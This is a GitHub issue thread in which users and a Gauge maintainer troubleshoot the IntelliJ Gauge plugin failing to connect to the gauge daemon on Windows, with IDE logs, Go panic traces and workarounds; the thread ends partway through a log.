Initializing gauge connection to x framework.jar

Describe the bug
Spec files are not recognized by inteliJ. Ctrl + click on spec results in "Cannot find declaration to go to"
To Reproduce
Steps (or project) to reproduce the behavior:

Open Intelij
Take notice of the intelij progress popup "Initializing gauge connection to project.jar

**Logs**
Cropped for obvious reasons idea.log
////////////////////////////////////////////////////////////
INFO - ks.gauge.GaugeBootstrapService - Using `50655` as api port to connect to gauge API for project
INFO - ks.gauge.GaugeBootstrapService - Initializing Gauge connection at 50655

INFO - .diagnostic.PerformanceWatcher - Pushing properties took 2064ms; general responsiveness: ok; EDT responsiveness: ok
INFO - j.compiler.server.BuildManager - BUILDER_PROCESS [stderr]: WARNING: An illegal reflective access operation has occurred
INFO - j.compiler.server.BuildManager - BUILDER_PROCESS [stderr]: WARNING: Illegal reflective access by com.intellij.util.ReflectionUtil (file:/C:/IntelliJ%20IDEA%202020.2.4/lib/util.jar) to method java.util.ResourceBundle.setParent(java.util.ResourceBundle)
INFO - j.compiler.server.BuildManager - BUILDER_PROCESS [stderr]: WARNING: Please consider reporting this to the maintainers of com.intellij.util.ReflectionUtil
INFO - j.compiler.server.BuildManager - BUILDER_PROCESS [stderr]: WARNING: Use --illegal-access=warn to enable warnings of further illegal reflective access operations
INFO - j.compiler.server.BuildManager - BUILDER_PROCESS [stderr]: WARNING: All illegal access operations will be denied in a future release
INFO - .OnDiskSharedIndexChunkLocator - Scanning C:\Users\C:\Users\croppedUser\AppData\Local\JetBrains\IntelliJIdea2020.3\shared-index for shared indexes...
INFO - ProjectRootPostStartUpActivity - C:/Users/C:\Users\croppedUser/workspace/croppedFramework/.idea case-sensitivity: expected=false actual=false
INFO - j.ide.script.IdeStartupScripts - 0 startup script(s) found
INFO - .diagnostic.PerformanceWatcher - Post-startup activities under progress took 6193ms; general responsiveness: ok; EDT responsiveness: 1/7 sluggish, 1/7 very slow
NFO - tor.impl.FileEditorManagerImpl - Project opening took 12258 ms
INFO - j.compiler.server.BuildManager - BUILDER_PROCESS [stdout]: Build process started. Classpath: C:/IntelliJ IDEA 2020.2.4/plugins/java/lib/jps-launcher.jar
INFO - j.compiler.server.BuildManager - BUILDER_PROCESS [stderr]: SLF4J: Failed to load class "org.slf4j.impl.StaticLoggerBinder".
INFO - j.compiler.server.BuildManager - BUILDER_PROCESS [stderr]: SLF4J: Defaulting to no-operation (NOP) logger implementation
INFO - j.compiler.server.BuildManager - BUILDER_PROCESS [stderr]: SLF4J: See http://www.cropped.org/codes.html#StaticLoggerBinder for further details.
INFO -      #org.jetbrains.idea.maven - Sent token to maven server
INFO - j.compiler.server.BuildManager - BUILDER_PROCESS [stderr]: WARNING: An illegal reflective access operation has occurred
INFO - j.compiler.server.BuildManager - BUILDER_PROCESS [stderr]: WARNING: Illegal reflective access by com.intellij.util.ReflectionUtil (file:/C:/IntelliJ%20IDEA%202020.2.4/lib/util.jar) to method java.util.ResourceBundle.setParent(java.util.ResourceBundle)
INFO - j.compiler.server.BuildManager - BUILDER_PROCESS [stderr]: WARNING: Please consider reporting this to the maintainers of com.intellij.util.ReflectionUtil
INFO - j.compiler.server.BuildManager - BUILDER_PROCESS [stderr]: WARNING: Use --illegal-access=warn to enable warnings of further illegal reflective access operations
INFO - j.compiler.server.BuildManager - BUILDER_PROCESS [stderr]: WARNING: All illegal access operations will be denied in a future release
INFO - gnostic.WindowsDefenderChecker - Windows Defender status: not used
INFO - .diagnostic.PerformanceWatcher - Indexable file iteration took 8725ms; general responsiveness: ok; EDT responsiveness: ok
INFO - indexing.UnindexedFilesUpdater - Unindexed files update started: 0 files to index
INFO - g.FileBasedIndexProjectHandler - Reindexing refreshed files: 10 to update, calculated in 131ms
INFO - g.FileBasedIndexProjectHandler - Using 4 threads for indexing
INFO - .diagnostic.PerformanceWatcher - Reindexing refreshed files took 317ms; general responsiveness: ok; EDT responsiveness: ok
INFO - rationStore.ComponentStoreImpl - Saving appConsoleFoldingSettings took 16 ms
INFO - rationStore.ComponentStoreImpl - Saving Project(name=croppedFramework.jar, containerState=COMPONENT_CREATED, componentStore= BuildProcessPlugins took 15 ms, ExternalDependencies took 16 ms, ProjectStartupSharedConfiguration took 16 ms, RunManager took 31 ms
INFO - rationStore.ComponentStoreImpl - Saving appProjectJdkTable took 16 ms
WARN - ks.gauge.GaugeBootstrapService - Unable to open connection on try 1. Waiting and trying again
INFO - ution.rmi.RemoteProcessSupport - Terminating: 17828/Maven36ServerImpl5ec633ae
INFO - rationStore.ComponentStoreImpl - Saving appXDebuggerSettings took 16 ms
INFO - rationStore.ComponentStoreImpl - Saving Project(name=croppedFramework.jar, containerState=COMPONENT_CREATED, componentStore= KotlinCommonCompilerArguments took 15 ms, RunManager took 16 ms
WARN - ks.gauge.GaugeBootstrapService - Unable to open connection on try 2. Waiting and trying again
WARN - ks.gauge.GaugeBootstrapService - Unable to open connection on try 3. Waiting and trying again
INFO - rationStore.ComponentStoreImpl - Saving Project(name=croppedFramework.jar, containerState=COMPONENT_CREATED, componentStore= RunConfigurationProducerService took 15 ms
INFO - llij.ide.gdpr.EndUserAgreement - eua: C:\Users\C:\Users\croppedUser\AppData\Roaming\JetBrains\PrivacyPolicy\eua.cached
INFO - rationStore.ComponentStoreImpl - Saving appCodeInsightSettings took 16 ms, ProjectJdkTable took 15 ms
INFO - rationStore.ComponentStoreImpl - Saving Project(name=croppedFramework.jar, containerState=COMPONENT_CREATED, componentStore= ProjectLevelVcsManager took 15 ms, XDebuggerManager took 16 ms
WARN - ks.gauge.GaugeBootstrapService - Unable to open connection on try 4. Waiting and trying again
WARN - ks.gauge.GaugeBootstrapService - Unable to open connection on try 5. Waiting and trying again
WARN - ks.gauge.GaugeBootstrapService - Unable to open connection on try 6. Waiting and trying again
INFO - rationStore.ComponentStoreImpl - Saving Project(name=croppedFramework.jar, containerState=COMPONENT_CREATED, componentStore= RunManager took 16 ms
WARN - ks.gauge.GaugeBootstrapService - Unable to open connection on try 7. Waiting and trying again
WARN - ks.gauge.GaugeBootstrapService - Unable to open connection on try 8. Waiting and trying again
INFO - j.ide.actions.RevealFileAction - Exit code 1
INFO - rationStore.ComponentStoreImpl - Saving appFindSettings took 15 ms, JavaCodeFoldingSettings took 16 ms, LocalDatabaseDriverManager took 16 ms, XmlEditorOptions took 15 ms
INFO - rationStore.ComponentStoreImpl - Saving Project(name=croppedFramework.jar, containerState=COMPONENT_CREATED, componentStore= FileEditorManager took 16 ms, ToolWindowManager took 16 ms
WARN - ks.gauge.GaugeBootstrapService - Unable to open connection on try 9. Waiting and trying again
////////////////////////////////////////////////

Log continues until try 10 and stops.
Expected behavior
A clear and concise description of what you expect to happen.
Screenshots
If applicable, add screenshots to help explain your problem.

Versions:

gauge -v
Gauge version: 1.1.7
Commit Hash: 5d86b72

Plugins
-------
html-report (4.0.12)
java (0.7.13)
screenshot (0.0.1)
xml-report (0.2.3)

OS
Win10 x64
Runner info - Java
openjdk version "<IP_ADDRESS>" 2020-11-04
OpenJDK Runtime Environment AdoptOpenJDK (build <IP_ADDRESS>+1)
OpenJDK 64-Bit Server VM AdoptOpenJDK (build <IP_ADDRESS>+1, mixed mode)
IDE info (If using VS Code or Intellij IDEA)
Intelij Ultimate Edition 2020.3.2
Gauge Plugin version
203.5981.155

Additional context
Hello everyone,
So this problem is plaguing multiple users including me after performing a fresh install of inteliJ and setting up the project.
Please note the following:

I dont have admin rights on my computer but I can request them for a short period of time...
Even if test specfiles are "red" they can be ran
I've discovered an workaround by doing these steps this order: disable gauge plugin from Intelij -> mvn clean, install, compile -> restart and clear caches in Intelij -> enable gauge plugin (after file indexing specs turn red) -> normal Intelij restart ->indexing is done and spec files are ok. At this point the in the idea.log shows:
-///////////
INFO - ks.gauge.GaugeBootstrapService - Using 51339 as api port to connect to gauge API for project C:\Users\croppedUser\croppedFrameworkPath
INFO - ks.gauge.GaugeBootstrapService - Initializing Gauge connection at 51339
///////////
And nothing related to gauge anymore

Does anyone have any suggestion on how to permanently fix this?
Thank you!

Hi guys,
We have the same issue as described above. Would be helpful to receive any feedback on how to solve it as it blocks our time a lot

Describe the bug
Spec files are not recognized by inteliJ. Ctrl + click on spec results in "Cannot find declaration to go to"
To Reproduce
Steps (or project) to reproduce the behavior:
1. Open Intelij

2. Take notice of the intelij progress popup "Initializing gauge connection to project.jar

**Logs**
Cropped for obvious reasons idea.log
////////////////////////////////////////////////////////////
INFO - ks.gauge.GaugeBootstrapService - Using `50655` as api port to connect to gauge API for project
INFO - ks.gauge.GaugeBootstrapService - Initializing Gauge connection at 50655

INFO - .diagnostic.PerformanceWatcher - Pushing properties took 2064ms; general responsiveness: ok; EDT responsiveness: ok
INFO - j.compiler.server.BuildManager - BUILDER_PROCESS [stderr]: WARNING: An illegal reflective access operation has occurred
INFO - j.compiler.server.BuildManager - BUILDER_PROCESS [stderr]: WARNING: Illegal reflective access by com.intellij.util.ReflectionUtil (file:/C:/IntelliJ%20IDEA%202020.2.4/lib/util.jar) to method java.util.ResourceBundle.setParent(java.util.ResourceBundle)
INFO - j.compiler.server.BuildManager - BUILDER_PROCESS [stderr]: WARNING: Please consider reporting this to the maintainers of com.intellij.util.ReflectionUtil
INFO - j.compiler.server.BuildManager - BUILDER_PROCESS [stderr]: WARNING: Use --illegal-access=warn to enable warnings of further illegal reflective access operations
INFO - j.compiler.server.BuildManager - BUILDER_PROCESS [stderr]: WARNING: All illegal access operations will be denied in a future release
INFO - .OnDiskSharedIndexChunkLocator - Scanning C:\Users\C:\Users\croppedUser\AppData\Local\JetBrains\IntelliJIdea2020.3\shared-index for shared indexes...
INFO - ProjectRootPostStartUpActivity - C:/Users/C:\Users\croppedUser/workspace/croppedFramework/.idea case-sensitivity: expected=false actual=false
INFO - j.ide.script.IdeStartupScripts - 0 startup script(s) found
INFO - .diagnostic.PerformanceWatcher - Post-startup activities under progress took 6193ms; general responsiveness: ok; EDT responsiveness: 1/7 sluggish, 1/7 very slow
NFO - tor.impl.FileEditorManagerImpl - Project opening took 12258 ms
INFO - j.compiler.server.BuildManager - BUILDER_PROCESS [stdout]: Build process started. Classpath: C:/IntelliJ IDEA 2020.2.4/plugins/java/lib/jps-launcher.jar
INFO - j.compiler.server.BuildManager - BUILDER_PROCESS [stderr]: SLF4J: Failed to load class "org.slf4j.impl.StaticLoggerBinder".
INFO - j.compiler.server.BuildManager - BUILDER_PROCESS [stderr]: SLF4J: Defaulting to no-operation (NOP) logger implementation
INFO - j.compiler.server.BuildManager - BUILDER_PROCESS [stderr]: SLF4J: See http://www.cropped.org/codes.html#StaticLoggerBinder for further details.
INFO -      #org.jetbrains.idea.maven - Sent token to maven server
INFO - j.compiler.server.BuildManager - BUILDER_PROCESS [stderr]: WARNING: An illegal reflective access operation has occurred
INFO - j.compiler.server.BuildManager - BUILDER_PROCESS [stderr]: WARNING: Illegal reflective access by com.intellij.util.ReflectionUtil (file:/C:/IntelliJ%20IDEA%202020.2.4/lib/util.jar) to method java.util.ResourceBundle.setParent(java.util.ResourceBundle)
INFO - j.compiler.server.BuildManager - BUILDER_PROCESS [stderr]: WARNING: Please consider reporting this to the maintainers of com.intellij.util.ReflectionUtil
INFO - j.compiler.server.BuildManager - BUILDER_PROCESS [stderr]: WARNING: Use --illegal-access=warn to enable warnings of further illegal reflective access operations
INFO - j.compiler.server.BuildManager - BUILDER_PROCESS [stderr]: WARNING: All illegal access operations will be denied in a future release
INFO - gnostic.WindowsDefenderChecker - Windows Defender status: not used
INFO - .diagnostic.PerformanceWatcher - Indexable file iteration took 8725ms; general responsiveness: ok; EDT responsiveness: ok
INFO - indexing.UnindexedFilesUpdater - Unindexed files update started: 0 files to index
INFO - g.FileBasedIndexProjectHandler - Reindexing refreshed files: 10 to update, calculated in 131ms
INFO - g.FileBasedIndexProjectHandler - Using 4 threads for indexing
INFO - .diagnostic.PerformanceWatcher - Reindexing refreshed files took 317ms; general responsiveness: ok; EDT responsiveness: ok
INFO - rationStore.ComponentStoreImpl - Saving appConsoleFoldingSettings took 16 ms
INFO - rationStore.ComponentStoreImpl - Saving Project(name=croppedFramework.jar, containerState=COMPONENT_CREATED, componentStore= BuildProcessPlugins took 15 ms, ExternalDependencies took 16 ms, ProjectStartupSharedConfiguration took 16 ms, RunManager took 31 ms
INFO - rationStore.ComponentStoreImpl - Saving appProjectJdkTable took 16 ms
WARN - ks.gauge.GaugeBootstrapService - Unable to open connection on try 1. Waiting and trying again
INFO - ution.rmi.RemoteProcessSupport - Terminating: 17828/Maven36ServerImpl5ec633ae
INFO - rationStore.ComponentStoreImpl - Saving appXDebuggerSettings took 16 ms
INFO - rationStore.ComponentStoreImpl - Saving Project(name=croppedFramework.jar, containerState=COMPONENT_CREATED, componentStore= KotlinCommonCompilerArguments took 15 ms, RunManager took 16 ms
WARN - ks.gauge.GaugeBootstrapService - Unable to open connection on try 2. Waiting and trying again
WARN - ks.gauge.GaugeBootstrapService - Unable to open connection on try 3. Waiting and trying again
INFO - rationStore.ComponentStoreImpl - Saving Project(name=croppedFramework.jar, containerState=COMPONENT_CREATED, componentStore= RunConfigurationProducerService took 15 ms
INFO - llij.ide.gdpr.EndUserAgreement - eua: C:\Users\C:\Users\croppedUser\AppData\Roaming\JetBrains\PrivacyPolicy\eua.cached
INFO - rationStore.ComponentStoreImpl - Saving appCodeInsightSettings took 16 ms, ProjectJdkTable took 15 ms
INFO - rationStore.ComponentStoreImpl - Saving Project(name=croppedFramework.jar, containerState=COMPONENT_CREATED, componentStore= ProjectLevelVcsManager took 15 ms, XDebuggerManager took 16 ms
WARN - ks.gauge.GaugeBootstrapService - Unable to open connection on try 4. Waiting and trying again
WARN - ks.gauge.GaugeBootstrapService - Unable to open connection on try 5. Waiting and trying again
WARN - ks.gauge.GaugeBootstrapService - Unable to open connection on try 6. Waiting and trying again
INFO - rationStore.ComponentStoreImpl - Saving Project(name=croppedFramework.jar, containerState=COMPONENT_CREATED, componentStore= RunManager took 16 ms
WARN - ks.gauge.GaugeBootstrapService - Unable to open connection on try 7. Waiting and trying again
WARN - ks.gauge.GaugeBootstrapService - Unable to open connection on try 8. Waiting and trying again
INFO - j.ide.actions.RevealFileAction - Exit code 1
INFO - rationStore.ComponentStoreImpl - Saving appFindSettings took 15 ms, JavaCodeFoldingSettings took 16 ms, LocalDatabaseDriverManager took 16 ms, XmlEditorOptions took 15 ms
INFO - rationStore.ComponentStoreImpl - Saving Project(name=croppedFramework.jar, containerState=COMPONENT_CREATED, componentStore= FileEditorManager took 16 ms, ToolWindowManager took 16 ms
WARN - ks.gauge.GaugeBootstrapService - Unable to open connection on try 9. Waiting and trying again
////////////////////////////////////////////////

Log continues until try 10 and stops.
Expected behavior
A clear and concise description of what you expect to happen.
Screenshots
If applicable, add screenshots to help explain your problem.
Versions:
gauge -v
Gauge version: 1.1.7
Commit Hash: 5d86b72

Plugins
-------
html-report (4.0.12)
java (0.7.13)
screenshot (0.0.1)
xml-report (0.2.3)

* OS
  Win10 x64

* Runner info - Java
  openjdk version "<IP_ADDRESS>" 2020-11-04
  OpenJDK Runtime Environment AdoptOpenJDK (build <IP_ADDRESS>+1)
  OpenJDK 64-Bit Server VM AdoptOpenJDK (build <IP_ADDRESS>+1, mixed mode)

* IDE info (If using VS Code or Intellij IDEA)
  Intelij Ultimate Edition 2020.3.2

* Gauge Plugin version
  203.5981.155

Additional context
Hello everyone,
So this problem is plaguing multiple users including me after performing a fresh install of inteliJ and setting up the project.
Please note the following:
* I dont have admin rights on my computer but I can request them for a short period of time...

* Even if test specfiles are "red" they can be ran

* I've discovered an workaround by doing these steps this order: disable gauge plugin from Intelij -> mvn clean, install, compile -> restart and clear caches in Intelij -> enable gauge plugin (after file indexing specs turn red) -> normal Intelij restart ->indexing is done and spec files are ok. At this point the in the idea.log shows:
  -///////////
  INFO - ks.gauge.GaugeBootstrapService - Using `51339` as api port to connect to gauge API for project C:\Users\croppedUser\croppedFrameworkPath
  INFO - ks.gauge.GaugeBootstrapService - Initializing Gauge connection at 51339
  ///////////
  And nothing related to gauge anymore

Does anyone have any suggestion on how to permanently fix this?
Thank you!

Hi, I'm having this issue too.

Just wanted to point out that I have tried to replicate this issue since it was first logged, but have been unsuccessful.
I will spend some more time on this (since many of you are having trouble because of this), but it's going to be a guessing game without a project for me to replicate the issue.

Just wanted to point out that I have tried to replicate this issue since it was first logged, but have been unsuccessful.
I will spend some more time on this (since many of you are having trouble because of this), but it's going to be a guessing game without a project for me to replicate the issue.

Hello sriv,
Thank you for taking the time to reproduce this, unfortunately I'm unable to share anything from the project due to sensitive information but if there is anything that you might need such as logs, screenshots, info, let me know and I would gladly post them here.
Thank you!

Hi @Displazya and others who faced this issue (@AdrianaVirdol @AlinVezeanu @sebbiv) -
Could you please try out something and let me know if it help?

install gauge in a less privileged location - if you are using the installer, choose a folder under C:\Users\<username> as the target path for gauge installation instead of C:\Program Files\gauge.
alternatively, use the zip artifact from the releases page, and extract it to a folder under C:\Users\<username>.
Then in Intellij IDEA, go to File > Settings and in the Settings dialog, select Tools > Gauge. You should see a textbox to set Gauge Binary Path. Please set it to the full path of gauge.exe from the location you just installed it in.
Restart IDEA, and open your test project.

Please check if this helps fix this issue and Gauge plugins features work well.

Hi @sriv,
Unfortunately this did not solve the issue for us.

Hello @sriv,
I have tried installing gauge using both .zip and setup in various locations with the same result. Currently for me it is installed (using the setup version) using Admin rights in C:\Program Files\Gauge with full permissions for my user. Prior to this, it was installed using the .zip artifact in C:\Users<user>\gauge.
The Gauge Binary Path is set to -> C:\Program Files\Gauge\bin\gauge.exe
The GAUGE_HOME is set to -> C:\Program Files\Gauge - the same as the environment variable for my account in windows.
The issues still occurs :(
Thank you,
Displazya

Hi @Sebbiv @Displazya
I have tried multiple combinations of gauge, gauge-java, intellij IDEA, gauge intellij plugin and JDK 11,12,14, 16 for the past few days.
I setup a new windows machine, and am on Windows 10.
Here's my gauge version:
Gauge version: 1.2.1
Commit Hash: fa7918b

Plugins
-------
html-report (4.0.12)
java (0.7.15)
screenshot (0.0.1)
xml-report (0.2.4)

I have tried the sample projects (gauge init java as well as gauge init java_gradle). I have also been working on gauge-tests, which is a gauge-java project that uses gradle.
None of the above have caused the issue that you have mentioned. So I suspect it could be either related to your environment or project.
@Displazya - you should probably not set GAUGE_HOME to C:\Program Files\Gauge. GAUGE_HOME holds the location where gauge would install the plugins and store global configuration. It is by default set to %APPDATA%\gauge in windows.
@Sebbiv / @Displazya - could you try to clone https://github.com/getgauge/gauge-tests and open it in your Intellij IDEA and see if you face the same error?
Thank you for your patience.

Hello @sriv,
First of all thank you for investigating this issue.
It seems that it is an environment issue because the issue is present even in the https://github.com/getgauge/gauge-tests project

My gauge -v:
Gauge version: 1.2.1
Commit Hash: fa7918b
Plugins
html-report (4.0.12)
java (0.7.15)
screenshot (0.0.1)
spectacle (0.1.4)
xml-report (0.2.3)
Kind Regards,
Seb

Thanks for checking @Sebbiv
I noticed that some people have mentioned this from their idea.log files:
INFO - ks.gauge.GaugeBootstrapService - Using `50655` as api port to connect to gauge API for project

So, the way gauge-intellij plugin <-> gauge interaction works is like this:

intellij launches gauge as a sub process by setting a port
gauge subprocess is launched in daemon mode (i.e. it does not perform any action unless instructed by the plugin). This daemon listens on the given port.
Intellij then sends instructions to gauge to either perform actions or fetch project details.

Can you try the below command in one of the gauge projects with this issue?
gauge daemon 50655
It should print this in the console:
Gauge daemon initialized and listening on port: 50655
If for some reason the chosen port is blocked for the given programs (i.e. a firewall) then you could face this issue.

@sriv
I think you are onto something here. It was also my suspicion from the start that the port range for the gauge daemon is blocked somehow.
Found this line in logs "INFO - ks.gauge.GaugeBootstrapService - Using 64013 as api port to connect to gauge API for"
and then used the following command "gauge daemon 64013"
panic: assignment to entry in nil map

goroutine 22 [running]:
github.com/getgauge/gauge/api/infoGatherer.(*SpecInfoGatherer).addToSpecsCache(...)
        D:/a/gauge/gauge/api/infoGatherer/specDetails.go:227
github.com/getgauge/gauge/api/infoGatherer.(*SpecInfoGatherer).OnSpecFileModify(0xc000326000, 0xc000076fc0, 0x5c)
        D:/a/gauge/gauge/api/infoGatherer/specDetails.go:311 +0x19f
github.com/getgauge/gauge/api/infoGatherer.(*SpecInfoGatherer).onFileModify(0xc000326000, 0xc0001e0180, 0xc000076fc0, 0x5c)
        D:/a/gauge/gauge/api/infoGatherer/specDetails.go:389 +0x69
github.com/getgauge/gauge/api/infoGatherer.(*SpecInfoGatherer).handleEvent(0xc000326000, 0xc000320960, 0x5c, 0x2, 0xc0001e0180)
        D:/a/gauge/gauge/api/infoGatherer/specDetails.go:422 +0x1ae
github.com/getgauge/gauge/api/infoGatherer.(*SpecInfoGatherer).watchForFileChanges.func1(0xc0001e0180, 0xc000326000)
        D:/a/gauge/gauge/api/infoGatherer/specDetails.go:445 +0x18a
created by github.com/getgauge/gauge/api/infoGatherer.(*SpecInfoGatherer).watchForFileChanges
        D:/a/gauge/gauge/api/infoGatherer/specDetails.go:441 +0x16e

Using the "gauge demon" command results in:
Error ----------------------------------

[Gauge]
Failed to start API Service. GAUGE_API_PORT Environment variable not set

Get Support ----------------------------
        Docs:          https://docs.gauge.org
        Bugs:          https://github.com/getgauge/gauge/issues
        Chat:          https://github.com/getgauge/gauge/discussions

Your Environment Information -----------
        windows, 1.1.7, 5d86b72
        html-report (4.0.12), java (0.7.13), screenshot (0.0.1), spectacle (0.1.4), xml-report (0.2.3)

Thank you @sriv for taking the time to look into this.

It seems we are close to solving this issue, it looks like the intellij plugin is trying to connect to a different port

It is just stuck in a loop connecting to the port

but when used the command
gauge daemon   (with the port that intellij wants to use it solved the issue)
I am going to test out if it works again after restart, and if the port is always the same
Thank you very much @sriv

Hi @Displazya @Sebbiv
Could you please use the gauge binary from https://github.com/getgauge/gauge/suites/3016144862/artifacts/68301684 and see if there's any improvement ?
I've made some changes, to address a possible condition (thanks to the.stacktrace)

Hello @sriv,
I tried copying the Artifact but it did not help.
The installer got rejected by our company antivirus.
Kind Regards

Hello @sriv,
I used the gauge.exe from your last post and the issue remains. With the workaround of using gauge daemon <portFromIdeaLog> I got it to work after restarting IntelliJ. The first time executing gauge in the project directory it gave me the following error:
`gauge daemon 59178
panic: assignment to entry in nil map
goroutine 36 [running]:
github.com/getgauge/gauge/api/infoGatherer.(*SpecInfoGatherer).updateParamCacheFromSpecs(0xc00039e000, 0xc00012f280, 0x72, 0xc001be2ac0)
D:/a/gauge/gauge/api/infoGatherer/specDetails.go:177 +0x85
github.com/getgauge/gauge/api/infoGatherer.(*SpecInfoGatherer).OnSpecFileModify(0xc00039e000, 0xc00012f280, 0x72)
D:/a/gauge/gauge/api/infoGatherer/specDetails.go:330 +0x277
github.com/getgauge/gauge/api/infoGatherer.(*SpecInfoGatherer).onFileModify(0xc00039e000, 0xc0002b2080, 0xc00012f280, 0x72)
D:/a/gauge/gauge/api/infoGatherer/specDetails.go:398 +0x6e
github.com/getgauge/gauge/api/infoGatherer.(*SpecInfoGatherer).handleEvent(0xc00039e000, 0xc00012ef80, 0x72, 0x2, 0xc0002b2080)
D:/a/gauge/gauge/api/infoGatherer/specDetails.go:431 +0x1af
github.com/getgauge/gauge/api/infoGatherer.(*SpecInfoGatherer).watchForFileChanges.func1(0xc0002b2080, 0xc00039e000)
D:/a/gauge/gauge/api/infoGatherer/specDetails.go:454 +0x173
created by github.com/getgauge/gauge/api/infoGatherer.(*SpecInfoGatherer).watchForFileChanges
D:/a/gauge/gauge/api/infoGatherer/specDetails.go:450 +0x165`
After restarting IntelliJ it worked with a new port:
gauge daemon 59566 Gauge daemon initialized and listening on port: 59566
I also get the following in idea.log:
2021-06-17 14:15:02,559 [  47370]   INFO - ks.gauge.GaugeBootstrapService - Using 59566 as api port to connect to gauge API for project C:\Users\alochotzke\Projects\automationframework  2021-06-17 14:15:02,841 [  47652]   INFO - ks.gauge.GaugeBootstrapService - Initializing Gauge connection at 59566 2021-06-17 14:16:23,487 [ 128298]   WARN - ks.gauge.GaugeBootstrapService - Unable to open connection on try 1. Waiting and trying again
Another workaround is to start IntelliJ and disable the Gauge plugin, then restart and reenable it and then restart a third time. When I do this the connection gets established. If I then restart IntelliJ one more time it doesn't work anymore.
Are there any other logs or debug output that could help in figuring this out?
`gauge --version
Gauge version: 1.2.1
Commit Hash: e219012
Plugins
html-report (4.0.12)
java (0.7.15)
screenshot (0.0.1)
spectacle (0.1.4)
xml-report (0.2.3)`
IntelliJ IDEA 2021.1.2 (Ultimate Edition)
Build #IU-211.7442.40, built on June 1, 2021
Runtime version: 11.0.11+9-b1341.57 amd64
VM: Dynamic Code Evolution 64-Bit Server VM by JetBrains s.r.o.
Windows 10 10.0
GC: G1 Young Generation, G1 Old Generation
Memory: 4096M
Cores: 4
Non-Bundled Plugins: zielu.gittoolbox (203.5.10), com.thoughtworks.gauge (211.6693.111)
Kotlin: 211-1.4.32-release-IJ7442.2
I just had to try starting the gauge daemon 3 times until it worked. I always got:
`gauge daemon 58651
panic: assignment to entry in nil map
goroutine 35 [running]:
github.com/getgauge/gauge/api/infoGatherer.(*SpecInfoGatherer).updateParamCacheFromSpecs(0xc000366000, 0xc0005f4d80, 0x82, 0xc001f3ca20)
D:/a/gauge/gauge/api/infoGatherer/specDetails.go:177 +0x85
github.com/getgauge/gauge/api/infoGatherer.(*SpecInfoGatherer).OnSpecFileModify(0xc000366000, 0xc0005f4d80, 0x82)
D:/a/gauge/gauge/api/infoGatherer/specDetails.go:330 +0x277
github.com/getgauge/gauge/api/infoGatherer.(*SpecInfoGatherer).onFileModify(0xc000366000, 0xc000098040, 0xc0005f4d80, 0x82)
D:/a/gauge/gauge/api/infoGatherer/specDetails.go:398 +0x6e
github.com/getgauge/gauge/api/infoGatherer.(*SpecInfoGatherer).handleEvent(0xc000366000, 0xc0005f4bd0, 0x82, 0x2, 0xc000098040)
D:/a/gauge/gauge/api/infoGatherer/specDetails.go:431 +0x1af
github.com/getgauge/gauge/api/infoGatherer.(*SpecInfoGatherer).watchForFileChanges.func1(0xc000098040, 0xc000366000)
D:/a/gauge/gauge/api/infoGatherer/specDetails.go:454 +0x173
created by github.com/getgauge/gauge/api/infoGatherer.(*SpecInfoGatherer).watchForFileChanges
D:/a/gauge/gauge/api/infoGatherer/specDetails.go:450 +0x165`
Thanks for the support.

It must be some kind of race condtion. Today I had to execute gauge daemon 54358 five times until it worked.

It must be some kind of race condtion

@lochotzke It certainly looks like it. But it's hard for me to be sure without a way to reproduce it.
I can make a couple of more changes around this code, if you are ok to test this out.
Thanks for debugging this with me, I can imagine this can be quite frustrating.

If you want me to test something just let me know.
Thank you

Hello @sriv,
I've tested the gauge.exe you provided and I have the same behavior as @lochotzke. Does not work in first instance but after a couple intelij restarts, the gauge daemon connects to the port and it works.
I'm available if you want to do some further testing/debugging.
I hope this helps,
Displazya

Thank you for trying this out. Couple of questions:

Do you see this isaue with gauve-teats project (https://github.com/getgauge/gauge-tests)?
what is the specification of your workstations? Ram, cpu cores, OS version etc?

If you do see this issue with gauve-tests project, I will try to setup a fresh machine with your configuration (as long as it's not too high spec!)

Hello @sriv,
I've tested the gauge-test project using the gauge.exe you provided and the same issue occurs. I didn't try to disable/enable the gauge plugin or use the "gauge daemon portFromLog" command either. It might work if tinker with these workarounds but I think it defeats the purpose.
This is the log from the start of intelij:
[      8]   INFO - llij.ide.gdpr.EndUserAgreement - eua: C:\Users\MYUSER\AppData\Roaming\JetBrains\PrivacyPolicy\eua.cached  [     42]   INFO -        #com.intellij.idea.Main - IDE: IntelliJ IDEA (build #IU-211.7442.40, 01 Jun 2021 05:17)  [     42]   INFO -        #com.intellij.idea.Main - OS: Windows 10 (10.0, amd64)  [     50]   INFO -        #com.intellij.idea.Main - JRE: 11.0.11+9-b1341.57 (JetBrains s.r.o.)  [     50]   INFO -        #com.intellij.idea.Main - JVM: 11.0.11+9-b1341.57 (Dynamic Code Evolution 64-Bit Server VM)  [     50]   INFO -        #com.intellij.idea.Main - JVM Args: exit -Xms128m -Xmx2003m -XX:ReservedCodeCacheSize=240m -XX:+UseConcMarkSweepGC -XX:SoftRefLRUPolicyMSPerMB=50 -ea -XX:CICompilerCount=2 -Dsun.io.useCanonPrefixCache=false -Djdk.http.auth.tunneling.disabledSchemes="" -XX:+HeapDumpOnOutOfMemoryError -XX:-OmitStackTraceInFastThrow -Djdk.attach.allowAttachSelf=true -Dkotlinx.coroutines.debug=off -Djdk.module.illegalAccess.silent=true -Djb.vmOptionsFile=C:\Users\MYUSER\AppData\Roaming\JetBrains\IntelliJIdea2021.1\idea64.exe.vmoptions -Djava.library.path=C:\IntelliJ IDEA 2020.2.4\jbr\\bin;C:\IntelliJ IDEA 2020.2.4\jbr\\bin\server -Didea.jre.check=true -Dide.native.launcher=true -Didea.vendor.name=JetBrains -Didea.paths.selector=IntelliJIdea2021.1 -XX:ErrorFile=C:\Users\MYUSER\java_error_in_idea64_%p.log -XX:HeapDumpPath=C:\Users\MYUSER\java_error_in_idea64.hprof  [     58]   INFO -        #com.intellij.idea.Main - library path: C:\IntelliJ IDEA 2020.2.4\jbr\\bin;C:\IntelliJ IDEA 2020.2.4\jbr\\bin\server  [     58]   INFO -        #com.intellij.idea.Main - boot library path: C:\IntelliJ IDEA 2020.2.4\jbr\bin  [     87]   INFO -        #com.intellij.idea.Main - locale=en_US JNU=Cp1252 file.encoding=Cp1252   idea.config.path=C:\Users\MYUSER\AppData\Roaming\JetBrains\IntelliJIdea2021.1   idea.system.path=C:\Users\MYUSER\AppData\Local\JetBrains\IntelliJIdea2021.1   idea.plugins.path=C:\Users\MYUSER\AppData\Roaming\JetBrains\IntelliJIdea2021.1\plugins   idea.log.path=C:\Users\MYUSER\AppData\Local\JetBrains\IntelliJIdea2021.1\log  [   1242]   INFO -        #com.intellij.idea.Main - JNA library (64-bit) loaded in 